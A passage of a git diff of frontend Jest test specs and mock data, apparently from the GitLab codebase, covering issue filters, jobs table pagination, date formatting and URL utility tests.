- issuableRef: '#1',
- issuableStatus: 'opened',
- initialTitleHtml: '',
- initialTitleText: '',
- initialDescriptionHtml: 'test',
- initialDescriptionText: 'test',
- lockVersion: 1,
- markdownPreviewPath: '/',
- markdownDocsPath: '/',
- projectNamespace: '/',
- projectPath: '/',
- projectId: 1,
- issuableTemplateNamesPath: '/issuable-templates-path',
- zoomMeetingUrl,
- publishedIncidentUrl,
-};
diff --git a/spec/frontend/issue_show/mock_data/apollo_mock.js b/spec/frontend/issue_show/mock_data/apollo_mock.js
new file mode 100644
index 00000000000..bfd31e74393
--- /dev/null
+++ b/spec/frontend/issue_show/mock_data/apollo_mock.js
@@ -0,0 +1,9 @@
+export const getIssueStateQueryResponse = {
+ issueType: 'issue',
+ isDirty: false,
+};
+
+export const updateIssueStateQueryResponse = {
+ issueType: 'incident',
+ isDirty: true,
+};
diff --git a/spec/frontend/issue_show/mock_data/mock_data.js b/spec/frontend/issue_show/mock_data/mock_data.js
new file mode 100644
index 00000000000..a73826954c3
--- /dev/null
+++ b/spec/frontend/issue_show/mock_data/mock_data.js
@@ -0,0 +1,60 @@
+import { TEST_HOST } from 'helpers/test_constants';
+
+export const initialRequest = {
+ title: '<p>this is a title</p>',
+ title_text: 'this is a title',
+ description: '<p>this is a description!</p>',
+ description_text: 'this is a description',
+ task_status: '2 of 4 completed',
+ updated_at: '2015-05-15T12:31:04.428Z',
+ updated_by_name: 'Some User',
+ updated_by_path: '/some_user',
+ lock_version: 1,
+};
+
+export const secondRequest = {
+ title: '<p>2</p>',
+ title_text: '2',
+ description: '<p>42</p>',
+ description_text: '42',
+ task_status: '0 of 0 completed',
+ updated_at: '2016-05-15T12:31:04.428Z',
+ updated_by_name: 'Other User',
+ updated_by_path: '/other_user',
+ lock_version: 2,
+};
+
+export const descriptionProps = {
+ canUpdate: true,
+ descriptionHtml: 'test',
+ descriptionText: 'test',
+ taskStatus: '',
+ updateUrl: TEST_HOST,
+};
+
+export const publishedIncidentUrl = 'https://status.com/';
+
+export const zoomMeetingUrl = 'https://gitlab.zoom.us/j/95919234811';
+
+export const appProps = {
+ canUpdate: true,
+ canDestroy: true,
+ endpoint: '/gitlab-org/gitlab-shell/-/issues/9/realtime_changes',
+ updateEndpoint: TEST_HOST,
+ issuableRef: '#1',
+ issuableStatus: 'opened',
+ initialTitleHtml: '',
+ initialTitleText: '',
+ initialDescriptionHtml: 'test',
+ initialDescriptionText: 'test',
+ lockVersion: 1,
+ issueType: 'issue',
+ markdownPreviewPath: '/',
+ markdownDocsPath: '/',
+ projectNamespace: '/',
+ projectPath: '/',
+ projectId: 1,
+ issuableTemplateNamesPath: '/issuable-templates-path',
+ zoomMeetingUrl,
+ publishedIncidentUrl,
+};
diff --git a/spec/frontend/issues_list/components/issuables_list_app_spec.js b/spec/frontend/issues_list/components/issuables_list_app_spec.js
index fe3d2114463..a7f3dd81517 100644
--- a/spec/frontend/issues_list/components/issuables_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issuables_list_app_spec.js
@@ -302,7 +302,6 @@ describe('Issuables list component', () => {
my_reaction_emoji: 'airplane',
scope: 'all',
state: 'opened',
- utf8: '✓',
weight: '0',
milestone: 'v3.0',
labels: 'Aquapod,Astro',
@@ -312,7 +311,7 @@ describe('Issuables list component', () => {
describe('when page is not present in params', () => {
const query =
- '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&not[label_name][]=Afterpod&not[milestone_title][]=13';
+ '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&weight=0&not[label_name][]=Afterpod&not[milestone_title][]=13';
beforeEach(() => {
setUrl(query);
@@ -356,7 +355,7 @@ describe('Issuables list component', () => {
describe('when page is present in the param', () => {
const query =
- '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&page=3';
+ '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&weight=0&page=3';
beforeEach(() => {
setUrl(query);
diff --git a/spec/frontend/issues_list/components/issues_list_app_spec.js b/spec/frontend/issues_list/components/issues_list_app_spec.js
index 5d83bf0142f..d78a436c618 100644
--- a/spec/frontend/issues_list/components/issues_list_app_spec.js
+++ b/spec/frontend/issues_list/components/issues_list_app_spec.js
@@ -18,6 +18,15 @@ import {
PAGE_SIZE_MANUAL,
PARAM_DUE_DATE,
RELATIVE_POSITION_DESC,
+ TOKEN_TYPE_ASSIGNEE,
+ TOKEN_TYPE_AUTHOR,
+ TOKEN_TYPE_CONFIDENTIAL,
+ TOKEN_TYPE_EPIC,
+ TOKEN_TYPE_ITERATION,
+ TOKEN_TYPE_LABEL,
+ TOKEN_TYPE_MILESTONE,
+ TOKEN_TYPE_MY_REACTION,
+ TOKEN_TYPE_WEIGHT,
urlSortParams,
} from '~/issues_list/constants';
import eventHub from '~/issues_list/eventhub';
@@ -39,8 +48,8 @@ describe('IssuesListApp component', () => {
endpoint: 'api/endpoint',
exportCsvPath: 'export/csv/path',
hasBlockedIssuesFeature: true,
- hasIssues: true,
hasIssueWeightsFeature: true,
+ hasProjectIssues: true,
isSignedIn: false,
issuesPath: 'path/to/issues',
jiraIntegrationPath: 'jira/integration/path',
@@ -320,7 +329,7 @@ describe('IssuesListApp component', () => {
beforeEach(async () => {
global.jsdom.reconfigure({ url: `${TEST_HOST}?search=no+results` });
- wrapper = mountComponent({ provide: { hasIssues: true }, mountFn: mount });
+ wrapper = mountComponent({ provide: { hasProjectIssues: true }, mountFn: mount });
await waitForPromises();
});
@@ -336,7 +345,7 @@ describe('IssuesListApp component', () => {
describe('when "Open" tab has no issues', () => {
beforeEach(async () => {
- wrapper = mountComponent({ provide: { hasIssues: true }, mountFn: mount });
+ wrapper = mountComponent({ provide: { hasProjectIssues: true }, mountFn: mount });
await waitForPromises();
});
@@ -356,7 +365,7 @@ describe('IssuesListApp component', () => {
url: setUrlParams({ state: IssuableStates.Closed }, TEST_HOST),
});
- wrapper = mountComponent({ provide: { hasIssues: true }, mountFn: mount });
+ wrapper = mountComponent({ provide: { hasProjectIssues: true }, mountFn: mount });
await waitForPromises();
});
@@ -374,7 +383,7 @@ describe('IssuesListApp component', () => {
describe('when user is logged in', () => {
beforeEach(() => {
wrapper = mountComponent({
- provide: { hasIssues: false, isSignedIn: true },
+ provide: { hasProjectIssues: false, isSignedIn: true },
mountFn: mount,
});
});
@@ -413,7 +422,7 @@ describe('IssuesListApp component', () => {
describe('when user is logged out', () => {
beforeEach(() => {
wrapper = mountComponent({
- provide: { hasIssues: false, isSignedIn: false },
+ provide: { hasProjectIssues: false, isSignedIn: false },
});
});
@@ -430,6 +439,119 @@ describe('IssuesListApp component', () => {
});
});
+ describe('tokens', () => {
+ const mockCurrentUser = {
+ id: 1,
+ name: 'Administrator',
+ username: 'root',
+ avatar_url: 'avatar/url',
+ };
+
+ describe('when user is signed out', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: {
+ isSignedIn: false,
+ },
+ });
+ });
+
+ it('does not render My-Reaction or Confidential tokens', () => {
+ expect(findIssuableList().props('searchTokens')).not.toMatchObject([
+ { type: TOKEN_TYPE_AUTHOR, preloadedAuthors: [mockCurrentUser] },
+ { type: TOKEN_TYPE_ASSIGNEE, preloadedAuthors: [mockCurrentUser] },
+ { type: TOKEN_TYPE_MY_REACTION },
+ { type: TOKEN_TYPE_CONFIDENTIAL },
+ ]);
+ });
+ });
+
+ describe('when iterations are not available', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: {
+ projectIterationsPath: '',
+ },
+ });
+ });
+
+ it('does not render Iteration token', () => {
+ expect(findIssuableList().props('searchTokens')).not.toMatchObject([
+ { type: TOKEN_TYPE_ITERATION },
+ ]);
+ });
+ });
+
+ describe('when epics are not available', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: {
+ groupEpicsPath: '',
+ },
+ });
+ });
+
+ it('does not render Epic token', () => {
+ expect(findIssuableList().props('searchTokens')).not.toMatchObject([
+ { type: TOKEN_TYPE_EPIC },
+ ]);
+ });
+ });
+
+ describe('when weights are not available', () => {
+ beforeEach(() => {
+ wrapper = mountComponent({
+ provide: {
+ groupEpicsPath: '',
+ },
+ });
+ });
+
+ it('does not render Weight token', () => {
+ expect(findIssuableList().props('searchTokens')).not.toMatchObject([
+ { type: TOKEN_TYPE_WEIGHT },
+ ]);
+ });
+ });
+
+ describe('when all tokens are available', () => {
+ const originalGon = window.gon;
+
+ beforeEach(() => {
+ window.gon = {
+ ...originalGon,
+ current_user_id: mockCurrentUser.id,
+ current_user_fullname: mockCurrentUser.name,
+ current_username: mockCurrentUser.username,
+ current_user_avatar_url: mockCurrentUser.avatar_url,
+ };
+
+ wrapper = mountComponent({
+ provide: {
+ isSignedIn: true,
+ projectIterationsPath: 'project/iterations/path',
+ groupEpicsPath: 'group/epics/path',
+ hasIssueWeightsFeature: true,
+ },
+ });
+ });
+
+ it('renders all tokens', () => {
+ expect(findIssuableList().props('searchTokens')).toMatchObject([
+ { type: TOKEN_TYPE_AUTHOR, preloadedAuthors: [mockCurrentUser] },
+ { type: TOKEN_TYPE_ASSIGNEE, preloadedAuthors: [mockCurrentUser] },
+ { type: TOKEN_TYPE_MILESTONE },
+ { type: TOKEN_TYPE_LABEL },
+ { type: TOKEN_TYPE_MY_REACTION },
+ { type: TOKEN_TYPE_CONFIDENTIAL },
+ { type: TOKEN_TYPE_ITERATION },
+ { type: TOKEN_TYPE_EPIC },
+ { type: TOKEN_TYPE_WEIGHT },
+ ]);
+ });
+ });
+ });
+
describe('events', () => {
describe('when "click-tab" event is emitted by IssuableList', () => {
beforeEach(() => {
diff --git a/spec/frontend/issues_list/mock_data.js b/spec/frontend/issues_list/mock_data.js
index ce2880d177a..99267fb6e31 100644
--- a/spec/frontend/issues_list/mock_data.js
+++ b/spec/frontend/issues_list/mock_data.js
@@ -21,8 +21,8 @@ export const locationSearch = [
'confidential=no',
'iteration_title=season:+%234',
'not[iteration_title]=season:+%2320',
- 'epic_id=12',
- 'not[epic_id]=34',
+ 'epic_id=gitlab-org%3A%3A%2612',
+ 'not[epic_id]=gitlab-org%3A%3A%2634',
'weight=1',
'not[weight]=3',
].join('&');
@@ -53,8 +53,8 @@ export const filteredTokens = [
{ type: 'confidential', value: { data: 'no', operator: OPERATOR_IS } },
{ type: 'iteration', value: { data: 'season: #4', operator: OPERATOR_IS } },
{ type: 'iteration', value: { data: 'season: #20', operator: OPERATOR_IS_NOT } },
- { type: 'epic_id', value: { data: '12', operator: OPERATOR_IS } },
- { type: 'epic_id', value: { data: '34', operator: OPERATOR_IS_NOT } },
+ { type: 'epic_id', value: { data: 'gitlab-org::&12', operator: OPERATOR_IS } },
+ { type: 'epic_id', value: { data: 'gitlab-org::&34', operator: OPERATOR_IS_NOT } },
{ type: 'weight', value: { data: '1', operator: OPERATOR_IS } },
{ type: 'weight', value: { data: '3', operator: OPERATOR_IS_NOT } },
{ type: 'filtered-search-term', value: { data: 'find' } },
@@ -84,7 +84,7 @@ export const apiParams = {
iteration_title: 'season: #4',
'not[iteration_title]': 'season: #20',
epic_id: '12',
- 'not[epic_id]': '34',
+ 'not[epic_id]': 'gitlab-org::&34',
weight: '1',
'not[weight]': '3',
};
@@ -111,8 +111,8 @@ export const urlParams = {
confidential: 'no',
iteration_title: 'season: #4',
'not[iteration_title]': 'season: #20',
- epic_id: '12',
- 'not[epic_id]': '34',
+ epic_id: 'gitlab-org%3A%3A%2612',
+ 'not[epic_id]': 'gitlab-org::&34',
weight: '1',
'not[weight]': '3',
};
diff --git a/spec/frontend/issues_list/utils_spec.js b/spec/frontend/issues_list/utils_spec.js
index 17127753972..e377c35a0aa 100644
--- a/spec/frontend/issues_list/utils_spec.js
+++ b/spec/frontend/issues_list/utils_spec.js
@@ -82,7 +82,10 @@ describe('getFilterTokens', () => {
describe('convertToParams', () => {
it('returns api params given filtered tokens', () => {
- expect(convertToParams(filteredTokens, API_PARAM)).toEqual(apiParams);
+ expect(convertToParams(filteredTokens, API_PARAM)).toEqual({
+ ...apiParams,
+ epic_id: 'gitlab-org::&12',
+ });
});
it('returns api params given filtered tokens with special values', () => {
@@ -92,7 +95,10 @@ describe('convertToParams', () => {
});
it('returns url params given filtered tokens', () => {
- expect(convertToParams(filteredTokens, URL_PARAM)).toEqual(urlParams);
+ expect(convertToParams(filteredTokens, URL_PARAM)).toEqual({
+ ...urlParams,
+ epic_id: 'gitlab-org::&12',
+ });
});
it('returns url params given filtered tokens with special values', () => {
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index 9f49cb4007a..172b6e4831c 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -73,6 +73,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-label="Will be mapped to"
class="gl-icon s16"
data-testid="arrow-right-icon"
+ role="img"
>
<use
href="#arrow-right"
@@ -109,6 +110,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-hidden="true"
class="gl-button-icon dropdown-chevron gl-icon s16"
data-testid="chevron-down-icon"
+ role="img"
>
<use
href="#chevron-down"
@@ -135,6 +137,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-hidden="true"
class="gl-search-box-by-type-search-icon gl-icon s16"
data-testid="search-icon"
+ role="img"
>
<use
href="#search"
@@ -198,6 +201,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-label="Will be mapped to"
class="gl-icon s16"
data-testid="arrow-right-icon"
+ role="img"
>
<use
href="#arrow-right"
@@ -234,6 +238,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-hidden="true"
class="gl-button-icon dropdown-chevron gl-icon s16"
data-testid="chevron-down-icon"
+ role="img"
>
<use
href="#chevron-down"
@@ -260,6 +265,7 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
aria-hidden="true"
class="gl-search-box-by-type-search-icon gl-icon s16"
data-testid="search-icon"
+ role="img"
>
<use
href="#search"
diff --git a/spec/frontend/jira_import/components/jira_import_progress_spec.js b/spec/frontend/jira_import/components/jira_import_progress_spec.js
index b56230e94fc..04b2a2da622 100644
--- a/spec/frontend/jira_import/components/jira_import_progress_spec.js
+++ b/spec/frontend/jira_import/components/jira_import_progress_spec.js
@@ -64,7 +64,7 @@ describe('JiraImportProgress', () => {
});
it('shows the time of import', () => {
- expect(getParagraphText()).toContain('Time of import: Apr 8, 2020 12:17pm GMT+0000');
+ expect(getParagraphText()).toContain('Time of import: Apr 8, 2020 12:17pm UTC');
});
it('shows the project key of the import', () => {
diff --git a/spec/frontend/jobs/components/table/job_table_app_spec.js b/spec/frontend/jobs/components/table/job_table_app_spec.js
index 9d1135e26c8..482d0df4e9a 100644
--- a/spec/frontend/jobs/components/table/job_table_app_spec.js
+++ b/spec/frontend/jobs/components/table/job_table_app_spec.js
@@ -1,4 +1,4 @@
-import { GlSkeletonLoader, GlAlert, GlEmptyState } from '@gitlab/ui';
+import { GlSkeletonLoader, GlAlert, GlEmptyState, GlPagination } from '@gitlab/ui';
import { createLocalVue, mount, shallowMount } from '@vue/test-utils';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -25,6 +25,10 @@ describe('Job table app', () => {
const findTabs = () => wrapper.findComponent(JobsTableTabs);
const findAlert = () => wrapper.findComponent(GlAlert);
const findEmptyState = () => wrapper.findComponent(GlEmptyState);
+ const findPagination = () => wrapper.findComponent(GlPagination);
+
+ const findPrevious = () => findPagination().findAll('.page-item').at(0);
+ const findNext = () => findPagination().findAll('.page-item').at(1);
const createMockApolloProvider = (handler) => {
const requestHandlers = [[getJobsQuery, handler]];
@@ -32,8 +36,17 @@ describe('Job table app', () => {
return createMockApollo(requestHandlers);
};
- const createComponent = (handler = successHandler, mountFn = shallowMount) => {
+ const createComponent = ({
+ handler = successHandler,
+ mountFn = shallowMount,
+ data = {},
+ } = {}) => {
wrapper = mountFn(JobsTableApp, {
+ data() {
+ return {
+ ...data,
+ };
+ },
provide: {
projectPath,
},
@@ -52,6 +65,7 @@ describe('Job table app', () => {
expect(findSkeletonLoader().exists()).toBe(true);
expect(findTable().exists()).toBe(false);
+ expect(findPagination().exists()).toBe(false);
});
});
@@ -65,9 +79,10 @@ describe('Job table app', () => {
it('should display the jobs table with data', () => {
expect(findTable().exists()).toBe(true);
expect(findSkeletonLoader().exists()).toBe(false);
+ expect(findPagination().exists()).toBe(true);
});
- it('should retfech jobs query on fetchJobsByStatus event', async () => {
+ it('should refetch jobs query on fetchJobsByStatus event', async () => {
jest.spyOn(wrapper.vm.$apollo.queries.jobs, 'refetch').mockImplementation(jest.fn());
expect(wrapper.vm.$apollo.queries.jobs.refetch).toHaveBeenCalledTimes(0);
@@ -78,9 +93,72 @@ describe('Job table app', () => {
});
});
+ describe('pagination', () => {
+ it('should disable the next page button on the last page', async () => {
+ createComponent({
+ handler: successHandler,
+ mountFn: mount,
+ data: {
+ pagination: {
+ currentPage: 3,
+ },
+ jobs: {
+ pageInfo: {
+ hasPreviousPage: true,
+ startCursor: 'abc',
+ endCursor: 'bcd',
+ },
+ },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.setData({
+ jobs: {
+ pageInfo: {
+ hasNextPage: false,
+ },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(findPrevious().exists()).toBe(true);
+ expect(findNext().exists()).toBe(true);
+ expect(findNext().classes('disabled')).toBe(true);
+ });
+
+ it('should disable the previous page button on the first page', async () => {
+ createComponent({
+ handler: successHandler,
+ mountFn: mount,
+ data: {
+ pagination: {
+ currentPage: 1,
+ },
+ jobs: {
+ pageInfo: {
+ hasNextPage: true,
+ hasPreviousPage: false,
+ startCursor: 'abc',
+ endCursor: 'bcd',
+ },
+ },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(findPrevious().exists()).toBe(true);
+ expect(findPrevious().classes('disabled')).toBe(true);
+ expect(findNext().exists()).toBe(true);
+ });
+ });
+
describe('error state', () => {
it('should show an alert if there is an error fetching the data', async () => {
- createComponent(failedHandler);
+ createComponent({ handler: failedHandler });
await waitForPromises();
@@ -90,7 +168,7 @@ describe('Job table app', () => {
describe('empty state', () => {
it('should display empty state if there are no jobs and tab scope is null', async () => {
- createComponent(emptyHandler, mount);
+ createComponent({ handler: emptyHandler, mountFn: mount });
await waitForPromises();
@@ -99,7 +177,7 @@ describe('Job table app', () => {
});
it('should not display empty state if there are jobs and tab scope is not null', async () => {
- createComponent(successHandler, mount);
+ createComponent({ handler: successHandler, mountFn: mount });
await waitForPromises();
diff --git a/spec/frontend/lib/utils/datetime_utility_spec.js b/spec/frontend/lib/utils/datetime_utility_spec.js
index 6180cd8e94d..df0ccb19cb7 100644
--- a/spec/frontend/lib/utils/datetime_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime_utility_spec.js
@@ -101,13 +101,13 @@ describe('Date time utils', () => {
it('should format date properly', () => {
const formattedDate = datetimeUtility.formatDate(new Date('07/23/2016'));
- expect(formattedDate).toBe('Jul 23, 2016 12:00am GMT+0000');
+ expect(formattedDate).toBe('Jul 23, 2016 12:00am UTC');
});
it('should format ISO date properly', () => {
const formattedDate = datetimeUtility.formatDate('2016-07-23T00:00:00.559Z');
- expect(formattedDate).toBe('Jul 23, 2016 12:00am GMT+0000');
+ expect(formattedDate).toBe('Jul 23, 2016 12:00am UTC');
});
it('should throw an error if date is invalid', () => {
@@ -878,7 +878,7 @@ describe('localTimeAgo', () => {
it.each`
timeagoArg | title
${false} | ${'some time'}
- ${true} | ${'Feb 18, 2020 10:22pm GMT+0000'}
+ ${true} | ${'Feb 18, 2020 10:22pm UTC'}
`('converts $seconds seconds to $approximation', ({ timeagoArg, title }) => {
const element = document.querySelector('time');
datetimeUtility.localTimeAgo($(element), timeagoArg);
@@ -889,17 +889,6 @@ describe('localTimeAgo', () => {
});
});
-describe('dateFromParams', () => {
- it('returns the expected date object', () => {
- const expectedDate = new Date('2019-07-17T00:00:00.000Z');
- const date = datetimeUtility.dateFromParams(2019, 6, 17);
-
- expect(date.getYear()).toBe(expectedDate.getYear());
- expect(date.getMonth()).toBe(expectedDate.getMonth());
- expect(date.getDate()).toBe(expectedDate.getDate());
- });
-});
-
describe('differenceInSeconds', () => {
const startDateTime = new Date('2019-07-17T00:00:00.000Z');
diff --git a/spec/frontend/lib/utils/number_utility_spec.js b/spec/frontend/lib/utils/number_utility_spec.js
index f4483f5098b..e743678ea90 100644
--- a/spec/frontend/lib/utils/number_utility_spec.js
+++ b/spec/frontend/lib/utils/number_utility_spec.js
@@ -80,18 +80,22 @@ describe('Number Utils', () => {
describe('numberToHumanSize', () => {
it('should return bytes', () => {
expect(numberToHumanSize(654)).toEqual('654 bytes');
+ expect(numberToHumanSize(-654)).toEqual('-654 bytes');
});
it('should return KiB', () => {
expect(numberToHumanSize(1079)).toEqual('1.05 KiB');
+ expect(numberToHumanSize(-1079)).toEqual('-1.05 KiB');
});
it('should return MiB', () => {
expect(numberToHumanSize(10485764)).toEqual('10.00 MiB');
+ expect(numberToHumanSize(-10485764)).toEqual('-10.00 MiB');
});
it('should return GiB', () => {
expect(numberToHumanSize(10737418240)).toEqual('10.00 GiB');
+ expect(numberToHumanSize(-10737418240)).toEqual('-10.00 GiB');
});
});
diff --git a/spec/frontend/lib/utils/table_utility_spec.js b/spec/frontend/lib/utils/table_utility_spec.js
new file mode 100644
index 00000000000..75b9252aa40
--- /dev/null
+++ b/spec/frontend/lib/utils/table_utility_spec.js
@@ -0,0 +1,11 @@
+import { DEFAULT_TH_CLASSES } from '~/lib/utils/constants';
+import * as tableUtils from '~/lib/utils/table_utility';
+
+describe('table_utility', () => {
+ describe('thWidthClass', () => {
+ it('returns the width class including default table header classes', () => {
+ const width = 50;
+ expect(tableUtils.thWidthClass(width)).toBe(`gl-w-${width}p ${DEFAULT_TH_CLASSES}`);
+ });
+ });
+});
diff --git a/spec/frontend/lib/utils/url_utility_spec.js b/spec/frontend/lib/utils/url_utility_spec.js
index e12cd8b0e37..305d3de3c53 100644
--- a/spec/frontend/lib/utils/url_utility_spec.js
+++ b/spec/frontend/lib/utils/url_utility_spec.js
@@ -471,6 +471,7 @@ describe('URL utility', () => {
${'notaurl'} | ${false}
${'../relative_url'} | ${false}
${'<a></a>'} | ${false}
+ ${'//other-host.test'} | ${false}
`('returns $valid for $url', ({ url, valid }) => {
expect(urlUtils.isRootRelative(url)).toBe(valid);
});
@@ -650,45 +651,24 @@ describe('URL utility', () => {
});
describe('queryToObject', () => {
- it('converts search query into an object', () => {
- const searchQuery = '?one=1&two=2';
-
- expect(urlUtils.queryToObject(searchQuery)).toEqual({ one: '1', two: '2' });
- });
-
- it('removes undefined values from the search query', () => {
- const searchQuery = '?one=1&two=2&three';
-
- expect(urlUtils.queryToObject(searchQuery)).toEqual({ one: '1', two: '2' });
- });
-
- describe('with gatherArrays=false', () => {
- it('overwrites values with the same array-key and does not change the key', () => {
- const searchQuery = '?one[]=1&one[]=2&two=2&two=3';
-
- expect(urlUtils.queryToObject(searchQuery)).toEqual({ 'one[]': '2', two: '3' });
- });
- });
-
- describe('with gatherArrays=true', () => {
- const options = { gatherArrays: true };
- it('gathers only values with the same array-key and strips `[]` from the key', () => {
- const searchQuery = '?one[]=1&one[]=2&two=2&two=3';
-
- expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: ['1', '2'], two: '3' });
- });
-
- it('overwrites values with the same array-key name', () => {
- const searchQuery = '?one=1&one[]=2&two=2&two=3';
-
- expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: ['2'], two: '3' });
- });
-
- it('overwrites values with the same key name', () => {
- const searchQuery = '?one[]=1&one=2&two=2&two=3';
-
- expect(urlUtils.queryToObject(searchQuery, options)).toEqual({ one: '2', two: '3' });
- });
+ it.each`
+ case | query | options | result
+ ${'converts query'} | ${'?one=1&two=2'} | ${undefined} | ${{ one: '1', two: '2' }}
+ ${'converts query without ?'} | ${'one=1&two=2'} | ${undefined} | ${{ one: '1', two: '2' }}
+ ${'removes undefined values'} | ${'?one=1&two=2&three'} | ${undefined} | ${{ one: '1', two: '2' }}
+ ${'overwrites values with same key and does not change key'} | ${'?one[]=1&one[]=2&two=2&two=3'} | ${undefined} | ${{ 'one[]': '2', two: '3' }}
+ ${'gathers values with the same array-key, strips `[]` from key'} | ${'?one[]=1&one[]=2&two=2&two=3'} | ${{ gatherArrays: true }} | ${{ one: ['1', '2'], two: '3' }}
+ ${'overwrites values with the same array-key name'} | ${'?one=1&one[]=2&two=2&two=3'} | ${{ gatherArrays: true }} | ${{ one: ['2'], two: '3' }}
+ ${'overwrites values with the same key name'} | ${'?one[]=1&one=2&two=2&two=3'} | ${{ gatherArrays: true }} | ${{ one: '2', two: '3' }}
+ ${'ignores plus symbols'} | ${'?search=a+b'} | ${{ legacySpacesDecode: true }} | ${{ search: 'a+b' }}
+ ${'ignores plus symbols in keys'} | ${'?search+term=a'} | ${{ legacySpacesDecode: true }} | ${{ 'search+term': 'a' }}
+ ${'ignores plus symbols when gathering arrays'} | ${'?search[]=a+b'} | ${{ gatherArrays: true, legacySpacesDecode: true }} | ${{ search: ['a+b'] }}
+ ${'replaces plus symbols with spaces'} | ${'?search=a+b'} | ${undefined} | ${{ search: 'a b' }}
+ ${'replaces plus symbols in keys with spaces'} | ${'?search+term=a'} | ${undefined} | ${{ 'search term': 'a' }}
+ ${'replaces plus symbols when gathering arrays'} | ${'?search[]=a+b'} | ${{ gatherArrays: true }} | ${{ search: ['a b'] }}
+ ${'replaces plus symbols when gathering arrays for values with same key'} | ${'?search[]=a+b&search[]=c+d'} | ${{ gatherArrays: true }} | ${{ search: ['a b', 'c d'] }}
+ `('$case', ({ query, options, result }) => {
+ expect(urlUtils.queryToObject(query, options)).toEqual(result);
});
});
@@ -798,15 +778,29 @@ describe('URL utility', () => {
);
});
- it('handles arrays properly', () => {
+ it('adds parameters from arrays', () => {
const url = 'https://gitlab.com/test';
- expect(urlUtils.setUrlParams({ label_name: ['foo', 'bar'] }, url)).toEqual(
- 'https://gitlab.com/test?label_name=foo&label_name=bar',
+ expect(urlUtils.setUrlParams({ labels: ['foo', 'bar'] }, url)).toEqual(
+ 'https://gitlab.com/test?labels=foo&labels=bar',
);
});
- it('handles arrays properly when railsArraySyntax=true', () => {
+ it('removes parameters from empty arrays', () => {
+ const url = 'https://gitlab.com/test?labels=foo&labels=bar';
+
+ expect(urlUtils.setUrlParams({ labels: [] }, url)).toEqual('https://gitlab.com/test');
+ });
+
+ it('removes parameters from empty arrays while keeping other parameters', () => {
+ const url = 'https://gitlab.com/test?labels=foo&labels=bar&unrelated=unrelated';
+
+ expect(urlUtils.setUrlParams({ labels: [] }, url)).toEqual(
+ 'https://gitlab.com/test?unrelated=unrelated',
+ );
+ });
+
+ it('adds parameters from arrays when railsArraySyntax=true', () => {
const url = 'https://gitlab.com/test';
expect(urlUtils.setUrlParams({ labels: ['foo', 'bar'] }, url, false, true)).toEqual(
@@ -814,6 +808,14 @@ describe('URL utility', () => {
);
});
+ it('removes parameters from empty arrays when railsArraySyntax=true', () => {
+ const url = 'https://gitlab.com/test?labels%5B%5D=foo&labels%5B%5D=bar';
+
+ expect(urlUtils.setUrlParams({ labels: [] }, url, false, true)).toEqual(
+ 'https://gitlab.com/test',
+ );
+ });
+
it('decodes URI when decodeURI=true', () => {
const url = 'https://gitlab.com/test';
diff --git a/spec/frontend/logs/components/environment_logs_spec.js b/spec/frontend/logs/components/environment_logs_spec.js
index b40d9d7d5e2..b107708ac2c 100644
--- a/spec/frontend/logs/components/environment_logs_spec.js
+++ b/spec/frontend/logs/components/environment_logs_spec.js
@@ -12,7 +12,6 @@ import {
mockTrace,
mockEnvironmentsEndpoint,
mockDocumentationPath,
- mockManagedAppsEndpoint,
} from '../mock_data';
jest.mock('~/lib/utils/scroll_utils');
@@ -35,7 +34,7 @@ describe('EnvironmentLogs', () => {
environmentName: mockEnvName,
environmentsPath: mockEnvironmentsEndpoint,
clusterApplicationsDocumentationPath: mockDocumentationPath,
- clustersPath: mockManagedAppsEndpoint,
+ clustersPath: '/gitlab-org',
};
const updateControlBtnsMock = jest.fn();
diff --git a/spec/frontend/logs/mock_data.js b/spec/frontend/logs/mock_data.js
index 3fabab4bc59..14c8f7a2ba2 100644
--- a/spec/frontend/logs/mock_data.js
+++ b/spec/frontend/logs/mock_data.js
@@ -7,8 +7,6 @@ export const mockDocumentationPath = '/documentation.md';
export const mockLogsEndpoint = '/dummy_logs_path.json';
export const mockCursor = 'MOCK_CURSOR';
export const mockNextCursor = 'MOCK_NEXT_CURSOR';
-export const mockManagedAppName = 'kubernetes-cluster-1';
-export const mockManagedAppsEndpoint = `${mockProjectPath}/clusters.json`;
const makeMockEnvironment = (id, name, advancedQuerying) => ({
id,
@@ -25,31 +23,6 @@ export const mockEnvironments = [
makeMockEnvironment(102, 'review/a-feature', false),
];
-export const mockManagedApps = [
- {
- cluster_type: 'project_type',
- enabled: true,
- environment_scope: '*',
